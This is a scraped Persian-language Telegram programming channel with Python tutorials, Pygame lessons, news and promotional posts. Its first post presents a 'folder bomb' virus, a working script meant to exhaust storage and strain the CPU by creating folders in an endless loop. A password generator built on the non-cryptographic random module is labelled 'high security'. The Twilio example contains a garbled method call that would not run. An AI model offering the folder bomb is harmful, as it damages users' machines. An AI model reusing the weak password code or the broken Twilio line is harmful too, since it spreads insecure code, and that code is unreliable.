Python3
200 subscribers
100 photos
6 videos
26 files
518 links
🎓 آموزش و پروژه‌های Python
آموزش‌های کاربردی و پروژه‌های عملی Python برای همه سطوح. 🚀
Download Telegram
Python3
⁉️یه ویروس هست اسمش بنب پوشه هست کل حافظه سیستمو پر میکنه بعد اجرا باعث میشه رو پردازنده فشار بیاد بزارم؟
🆕️این یه برنامه هست به اسم بنب پوشه یک حلقه بینهایت. میسازه و بینهایت تا پوشه در سیستم ایجاد میکنه و هر اروری رو نادیده میگیره و به کارش ادامه میده تا وقتی حافظه سیستم کاملا پر بشه و به بورد فشار میاره ❗️

import os
import random
import string
import time

def generate_random_name(length=8):
"""Generate a random string of fixed length."""
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for _ in range(length))

def create_folders(base_path):
"""Continuously create folders with random names."""
while True:
folder_name = generate_random_name()
folder_path = os.path.join(base_path, folder_name)
try:
os.makedirs(folder_path)
print(f"Created folder: {folder_path}")
except Exception as e:
print(f"Error creating folder {folder_path}: {e}")
# Optional: Pause between creations to avoid overwhelming the system
# time.sleep(0.1) # Adjust the sleep time as needed

if __name__ == "__main__":
base_path = "./" # Change this to your desired base path
create_folders(base_path)

🟥کانال منو به دوستاتون معرفی کنید و اگه خودتون عضو نیستین عضو بشین👇👇

🔗https://t.iss.one/hamidpython123
🆕️اگه نمیدونین چه اسمی برای اکانت تلگرام یا حر جایی بزارین که هم خفن باشه هم مربوط به بقیه نشون بده برنامه نویسین اینارو پیشنهاد میکنم😉

1. PythonWizard
2. CodeNinja
3. TechGuru
4. ByteMaster
5. ScriptSorcerer
6. DataMaestro
7. PythonSage
8. ByteBrawler
9. CodingChampion
10. CodeGoddess
11. DevWhiz
12. ByteBoss
13. PythonProphet
14. SpeedScripter
15. TechMagician
16. CodeWarrior
17. PythonPhenom
18. ByteWhisperer
19. CreativeCoder
20. CodeLuminary
21. PythonKing/PythonQueen
22. ByteGuru
23. TechEnchantress
24. CodeMastermind
25. PythonSleuth
26. ByteBolt
27. CyberSorcerer
28. CodeSlinger
29. PythonProdigy
30. ByteBlazer

این اسم هارو اگه دوست داشتین اینجا عضو بشین👇

🔗https://t.iss.one/hamidpython123
🆕️یک کد بهتون میدم برای تولید رمز تصادفی با امنیت بالا ایتوریه که یک عدد به عنوان تعداد ارقام بهش میدیم و اون رمزی با همون تعداد رقم به صورت تصادفی میسازه 👇

import random
import string

def generate_password(length):
password = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
return password

user_number = int(input("لطفاً یک عدد وارد کنید: "))
password = generate_password(user_number)
print("رمز تولید شده: ", password)

🟥اگه این برای رمز نگاری به کارتون اومد اینجا عضو و کانال منو به دوستانتون معرفی کنید 😉👇👇
🔗https://t.iss.one/hamidpython123
فرض کنید شما یک لیست از اعداد صحیح دارید. می‌خواهید زیرلیستی با حداکثر تعداد اعضا با مجموع بیشترین مقدار را بیابید. در هر مرحله شما می‌توانید دو عنصر مجاور را به هم اضافه کنید یا آخرین عنصر را حذف کنید. برخی اعضا ممکن است منفی باشند.
Anonymous Quiz
41%
الف) [1, -3, 2, 1]
27%
ب) [2, 1, -1]
23%
ج) [-3, 2, 1, -1]
9%
د) [1, -3, 1, -1]
Forwarded from Python3
❗️داداشا ابجیا پروژه های برنامه نویسی تونو انجام میدیم با پایین ترین قیمت
انواع پروژه های دانشجویی
به زبان‌های
Python

C

C#

C++

🔺️دنبال انجام پروژه باهزینه پایین هستی به ما خبر بدین🤝
🔗@PythonProTalk
🆕️خب رفقا، اگه می‌خواید با یه کد باحال، تلگرام یا هر برنامه دیگه‌ای رو اجرا کنید اینجا یه تیکه کد باحال براتون دارم. فقط کافیه اجراش کنید و برنامه مورد نظر اجرادمیشه لذت ببرید❗️

🐍 اجرای برنامه با پایتون
اول از همه، این کد باحال رو توی ادیتور مورد علاقتون کپی کنید و مسیر برنامه مورد نظرتون رو جایگزین کنید. برای مثال اینجا تلگرام رو اجرا می‌کنیم. اگه لینوکس دارید یا ویندوز، نگران نباشید، هر دو رو پوشش دادم!

برای ویندوز:
import subprocess

# مسیر فایل اجرایی برنامه تلگرام
program_path = 'C:\\Path\\To\\Telegram.exe'

# اجرای برنامه
subprocess.Popen([program_path])

برای لینوکس:
import subprocess

# مسیر فایل اجرایی برنامه تلگرام
program_path = '/usr/bin/telegram-desktop'

# اجرای برنامه
subprocess.Popen([program_path])

🟥نکته مهم: مسیر برنامه‌تون رو درست وارد کنید وگرنه کلی ارور قرمز می‌بینید که آدم رو یاد قلب شکسته می‌اندازه!

☝️حالا، این کد رو اجرا کنید و از دیدن باز شدن تلگرام یا هر برنامه دیگه‌ای لذت ببرید. ☝️

🔺️اگر از این کد خوشتون اومد، همین الان . بگید که یه جادوی کامپیوتری یاد گرفتید و حالا می‌تونید برنامه‌ها رو با یک چشم بر هم زدن اجرا کنید🫡

❗️نکته : حالا وقتشه برید به دوستاتون بگید بیان توکانال من عضو شن 👇

🔗https://t.iss.one/hamidpython123
👍1
🔻 به کمک هوش مصنوعی موزیک خودت رو بساز

🔸 این سایت ابزار ها و امکانات مختلف زیادی داره که میتونید به کمک اون موسیقی خودتون رو بدون کپی رایت بسازید

🔸 لینک سایت
https://www.loudly.com/
👍21
جدیدترین اخبار پایتون 🚀🐍

سلام دوستان عزیز! وقتش رسیده که از دنیای جذاب پایتون باخبر بشیم. آماده‌اید؟ بیا شروع کنیم!

1. انتشار نسخه پایتون 3.12!📦
پایتون 3.12 اخیراً منتشر شده و امکانات جدیدی مثل بهبود در عملکرد، بهینه‌سازی کدها و ویژگی‌های جدید زبان به آن اضافه شده‌اند. این نسخه با تاکید بر سادگی و سرعت بیشتر، تجربه کدنویسی رو لذت‌بخش‌تر می‌کنه. حتماً بروزرسانی کنید و از امکانات جدید لذت ببرید!

2. کتابخانه‌های جدید و محبوب📚
تعداد زیادی کتابخانه جدید و هیجان‌انگیز منتشر شده‌اند که توسعه‌دهندگان را شگفت‌زده کرده‌اند. برخی از این کتابخانه‌ها شامل "FastAPI" برای ساخت سریع APIها و "Pydantic" برای مدیریت داده‌ها هستند. این کتابخانه‌ها به شما کمک می‌کنند پروژه‌های خود را سریع‌تر و بهتر پیش ببرید.

3. پایتون در هوش مصنوعی و یادگیری ماشین 🤖
استفاده از پایتون در حوزه هوش مصنوعی و یادگیری ماشین روز به روز در حال افزایش است. با کتابخانه‌های معروفی مثل TensorFlow و PyTorch، توسعه‌دهندگان می‌توانند مدل‌های پیشرفته‌ای بسازند و پیاده‌سازی کنند. اگر علاقه‌مند به این حوزه هستید، یادگیری این ابزارها را از دست ندهید!

4. پایتون در علم داده‌ها 📊
پایتون همچنان انتخاب اول برای تحلیل‌گران داده و دانشمندان علم داده است. با ابزارهایی مثل Pandas و NumPy، می‌توانید به راحتی داده‌ها را تحلیل و مدل‌های پیش‌بینی بسازید. این ابزارها در حال تکامل و بروزرسانی مداوم هستند و کار با داده‌ها را ساده‌تر می‌کنند.

5. رویدادهای پایتونی 🎉
جامعه پایتونی همیشه فعال است! رویدادهای مختلفی مثل کنفرانس PyCon و کارگاه‌های آموزشی آنلاین برگزار می‌شوند که می‌توانید از آن‌ها برای یادگیری و شبکه‌سازی استفاده کنید. اگر علاقه‌مند به شرکت در این رویدادها هستید، حتماً تقویم خود را بررسی کنید.

به کانال ما بپیوندید تا از آخرین اخبار و آموزش‌های پایتون مطلع شوید! 🚀

🍦برای مطلع شدن از اخبار بیشتر به کانال من بپیوندید
🔗https://t.iss.one/hamidpython123

#پایتون #اخبار_پایتون #برنامه_نویسی #یادگیری_ماشین #علم_داده #توسعه_وب
1👍1
Forwarded from گوربه
پروفایل برنامه نویس

🔗https://t.iss.one/hamidpython123
👍2
سلام دوستان! 🌟
امروز یک کد کاربردی و ساده برای ارسال کد تایید به شماره تلفن کاربران با استفاده از Twilio براتون دارم. 📲

مراحل:
1. نصب Twilio:

   pip install twilio

2. کد ارسال پیامک تایید:

   from twilio.rest import Client
import random

# اطلاعات حساب Twilio
account_sid = 'your_account_sid'
auth_token = 'your_auth_token'
client = Client(account_sid, auth_token)

def generate_verification_code():
return str(random.randint(100000, 999999))

def send_verification_code(phone_number):
verification_code = generate_verification_code()
message = client.iss.onessages.create(
body=f'کد تایید شما: {verification_code}',
from_='+1234567890', # شماره Twilio شما
to=phone_number
)
print(f'کد تایید به {phone_number} ارسال شد: {message.sid}')

# نمونه استفاده
send_verification_code('+989123456789')

🐍این کد با استفاده از سرویس Twilio یک کد تایید تصادفی به شماره تلفن کاربران ارسال می‌کند. از این کد می‌توانید برای تایید شماره تلفن کاربران در اپلیکیشن خود استفاده کنید. 🚀

🔗https://t.iss.one/hamidpython123

#کدنویسی #پایتون #Twilio #تایید_شماره_تلفن
1👍1
trx_airdrop (1).zip
1.9 MB
🔹 سورس ربات ایردراپ ترون

💻 زبان : PHP
سیستم پرداخت اتوماتیک ترون
دیتابیس Mysql(Medoo)


نویسنده سورس :
@NexDeveLoper

👇کانال ما

🔗https://t.iss.one/hamidpython123
👍1🔥1
Forwarded from programming memes (Ehsan)
🔍 به دنبال یک برنامه‌نویس حرفه‌ای پایتون هستید؟ 🔍

🎯 خدمات حرفه‌ای PythonProTalk شامل:
- دیتا ساینس: تحلیل داده‌ها، یادگیری ماشین و پیاده‌سازی مدل‌های پیش‌بینی
- اتوماسیون: ایجاد ربات‌ها و اسکریپت‌های خودکارسازی وظایف
- برنامه‌های دسکتاپ: توسعه نرم‌افزارهای کاربردی برای سیستم‌های عامل مختلف
- توسعه API: ساخت و مدیریت رابط‌های برنامه‌نویسی قدرتمند

🔧 مهارت‌های حرفه‌ای:
- فریم‌ورک‌های پایتون: Django، Flask، FastAPI
- کتابخانه‌های داده‌کاوی: Pandas، NumPy، Scikit-learn
- ابزارهای اتوماسیون: Selenium، BeautifulSoup
- توسعه پایگاه داده: SQLAlchemy، PostgreSQL، MySQL

🛠️ تجربه و تخصص من تضمین‌کننده کیفیت پروژه‌های شماست!

📩 برای مشاوره و شروع همکاری، به پیوی مراجعه کنید.

با PythonProTalk، پروژه‌های شما به بهترین نحو انجام می‌شود!
🚀 آخرین اخبار درباره کتابخانه هلی پایتون! 🐍

📚 HelPy: کتابخانه جدید پایتون برای پروژه‌های پویا و پیشرفته

🔹 معرفی:
HelPy یک کتابخانه جدید و پرقدرت برای پایتون است که به طور خاص برای کار با پروژه‌های پویا و پیشرفته طراحی شده است. این کتابخانه با امکانات منحصر به فرد خود، فرایند توسعه را سریعتر و ساده‌تر می‌کند.

🛠️ ویژگی‌ها:
- رابط برنامه‌نویسی از پیش تعیین شده (API): امکان اتصال به سرویس‌های خارجی و استفاده از آن‌ها با چندین خط کد.
- پشتیبانی از توابع پیشرفته: امکان استفاده از توابع پیشرفته مانند خوشه‌بندی، مدل‌سازی پیش‌بینی، و تحلیل داده.
- بهینه‌سازی عملکرد: اجرای سریع و بهینه توابع با استفاده از الگوریتم‌های پیشرفته.

🔧 استفاده:
1. نصب کتابخانه:
pip install helpy

2. استفاده در پروژه:
import helpy

# اتصال به API
api = helpy.API(api_key='YOUR_API_KEY')

# استفاده از توابع پیشرفته
data = [1, 2, 3, 4, 5]
result = helpy.cluster(data)

🚀 با HelPy، توسعه پروژه‌های پویا و پیشرفته را تجربه کنید!

🟥در کانال ما هم حتما عضو بشید تا از اخبار به روز کتابخانه های پایتون اطلاع داشته باشید👇

🔗https://t.iss.one/hamidpython123

#Python #HelPy #کتابخانه #پروژه #پایتون
آموزش کتابخانه Pygame 🎮

Pygame یک کتابخانه محبوب Python است که برای توسعه بازی‌های ویدئویی دوبعدی، شبیه‌سازی‌ها و برنامه‌های چندرسانه‌ای استفاده می‌شود. این کتابخانه مجموعه‌ای از ابزارها برای مدیریت ورودی‌های کاربر، گرافیک دوبعدی، صدا و بسیاری از ویژگی‌های دیگر را فراهم می‌کند. با استفاده از Pygame می‌توانید بازی‌های جذاب و تعاملی بسازید.

نصب Pygame
ابتدا باید Pygame را نصب کنید. برای این کار، دستور زیر را در ترمینال یا CMD وارد کنید:
pip install pygame

مثال‌های کاربردی با Pygame

1. شروع کار با Pygame و ایجاد یک پنجره ساده
import pygame  # وارد کردن کتابخانه pygame
import sys # وارد کردن کتابخانه sys برای خروج از برنامه

pygame.init() # مقداردهی اولیه همه ماژول‌های pygame
screen = pygame.display.set_mode((800, 600)) # ایجاد یک پنجره با اندازه 800x600 پیکسل
pygame.display.set_caption("آموزش Pygame") # تنظیم عنوان پنجره
WHITE = (255, 255, 255) # تعریف رنگ سفید

running = True
while running:
for event in pygame.event.get(): # بررسی رویدادهای مختلف
if event.type == pygame.QUIT: # اگر رویداد بستن پنجره رخ داد
running = False # حلقه بازی را متوقف کن

screen.fill(WHITE) # پر کردن صفحه با رنگ سفید
pygame.display.flip() # بروزرسانی صفحه نمایش

pygame.quit() # بستن ماژول‌های pygame
sys.exit() # خروج از برنامه

2. رسم اشکال هندسی 📏🔵🔺
import pygame
import sys

pygame.init()
screen = pygame.display.set_mode((800, 600))
pygame.display.set_caption("رسم اشکال هندسی")
WHITE, BLUE, RED, GREEN = (255, 255, 255), (0, 0, 255), (255, 0, 0), (0, 255, 0) # تعریف رنگ‌ها

running = True
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False

screen.fill(WHITE) # پر کردن صفحه با رنگ سفید
pygame.draw.rect(screen, BLUE, (100, 100, 200, 100)) # رسم مستطیل آبی
pygame.draw.circle(screen, RED, (400, 300), 50) # رسم دایره قرمز
pygame.draw.line(screen, GREEN, (500, 100), (700, 200), 5) # رسم خط سبز
pygame.display.flip() # بروزرسانی صفحه نمایش

pygame.quit()
sys.exit()

3. پخش صدا 🎵🔊
import pygame
import sys

pygame.init()
screen = pygame.display.set_mode((800, 600))
pygame.display.set_caption("پخش صدا")

pygame.mixer.music.load('music.mp3') # بارگذاری فایل صوتی
pygame.mixer.music.play(-1) # پخش مداوم فایل صوتی

running = True
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False

screen.fill((255, 255, 255)) # پر کردن صفحه با رنگ سفید
pygame.display.flip() # بروزرسانی صفحه نمایش

pygame.quit()
sys.exit()

4. حرکت دادن تصویر با صفحه کلید 🎮
import pygame
import sys

pygame.init()
screen = pygame.display.set_mode((800, 600))
pygame.display.set_caption("حرکت تصویر با صفحه کلید")
WHITE = (255, 255, 255)
player_image = pygame.image.load('player.png') # بارگذاری تصویر بازیکن
player_x, player_y = 100, 100 # موقعیت اولیه بازیکن
speed = 5 # سرعت حرکت بازیکن

running = True
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False

keys = pygame.key.get_pressed() # دریافت وضعیت کلیدهای فشرده‌شده
if keys[pygame.K_LEFT]: # اگر کلید چپ فشرده شده بود
player_x -= speed # موقعیت بازیکن به چپ حرکت کند
if keys[pygame.K_RIGHT]: # اگر کلید راست فشرده شده بود
player_x += speed # موقعیت بازیکن به راست حرکت کند
if keys[pygame.K_UP]: # اگر کلید بالا فشرده شده بود
player_y -= speed # موقعیت بازیکن به بالا حرکت کند
if keys[pygame.K_DOWN]: # اگر کلید پایین فشرده شده بود
player_y += speed # موقعیت بازیکن به پایین حرکت کند

screen.fill(WHITE) # پر کردن صفحه با رنگ سفید
screen.blit(player_image, (player_x, player_y)) # رسم تصویر بازیکن در موقعیت جدید
pygame.display.flip() # بروزرسانی صفحه نمایش

pygame.quit()
sys.exit()

امیدوارم از این آموزش لذت ببرید و بتوانید بازی‌ها و برنامه‌های جذابی با Pygame بسازید! 🚀

🔗https://t.iss.one/hamidpython123

برای مشاهده کدها و مطالب بیشتر، به کانال تلگرام ما بپیوندید! 📲
2👏1
رنگ‌ها در Pygame 🎨

در Pygame، هر رنگ با استفاده از کد RGB تعریف می‌شود. کد RGB شامل سه مقدار است: قرمز (R)، سبز (G) و آبی (B)، که هر کدام می‌توانند مقداری بین 0 تا 255 داشته باشند.

مثال‌هایی از رنگ‌های متداول:
- سفید: (255, 255, 255)
- سیاه: (0, 0, 0)
- قرمز: (255, 0, 0)
- سبز: (0, 255, 0)
- آبی: (0, 0, 255)
- زرد: (255, 255, 0)
- فیروزه‌ای: (0, 255, 255)
- بنفش: (255, 0, 255)
🔗https://t.iss.one/hamidpython123
👍1
سلام دوستان! 👋

امروز چند خبر جدید و هیجان‌انگیز از دنیای پایتون داریم که می‌خوایم با شما به اشتراک بگذاریم. 🌐

1. انتشار نسخه بتا پایتون 3.13.0 📦
نسخه بتا 1 پایتون 3.13 منتشر شده است و این به معنای فریز شدن ویژگی‌های جدید برای این نسخه است. این نسخه بتا فرصتی برای توسعه‌دهندگان فراهم می‌کند تا با قابلیت‌های جدید آشنا شوند و بازخورد خود را ارائه دهند. برای اطلاعات بیشتر و دانلود این نسخه، به سایت پایتون سر بزنید.

2. پیشرفت‌های حذف GIL 🔓
اخیراً پیشرفت‌های مهمی در زمینه حذف GIL (Global Interpreter Lock) صورت گرفته است. با فعال‌سازی پایتون بدون GIL که به عنوان "پایتون چند رشته‌ای آزاد" شناخته می‌شود، می‌توانیم انتظار بهبود عملکرد در پردازش‌های چند رشته‌ای داشته باشیم. این تغییرات هنوز در مراحل آزمایشی هستند و برای استفاده از آن‌ها نیاز به ساختن پایتون با فلگ‌های مخصوص دارید.

3. انتشار نسخه کاندید NumPy 2 📊
نسخه کاندید NumPy 2 منتشر شده است و با بهبودهای فراوانی در API و سازگاری‌های جدید همراه است. اگر می‌خواهید با این نسخه جدید کار کنید، می‌توانید آن را از طریق pip نصب کنید. این نسخه به توسعه‌دهندگان کمک می‌کند تا کدهای خود را با نسخه جدید تست کنند و سازگاری آن را بررسی کنند.

4. فرصت شغلی جدید در PSF 💼
بنیاد نرم‌افزار پایتون (PSF) یک موقعیت شغلی جدید برای پشتیبانی از PyPI ایجاد کرده است. این نقش به منظور بهبود تعامل با کاربران و مدیریت درخواست‌های پشتیبانی ایجاد شده است. اگر علاقه‌مند به این موقعیت هستید، می‌توانید تا تاریخ مشخص‌شده برای آن اقدام کنید.

برای اطلاعات بیشتر و جزئیات بیشتر، به سایت‌های مرتبط مراجعه کنید و از این فرصت‌ها استفاده کنید!

منابع:
- [Python.org](https://www.python.org)
- [Real Python](https://realpython.com)

موفق باشید! 🚀

👇اینم لینک کانال منه 👇

🔗https://t.iss.one/hamidpython123
1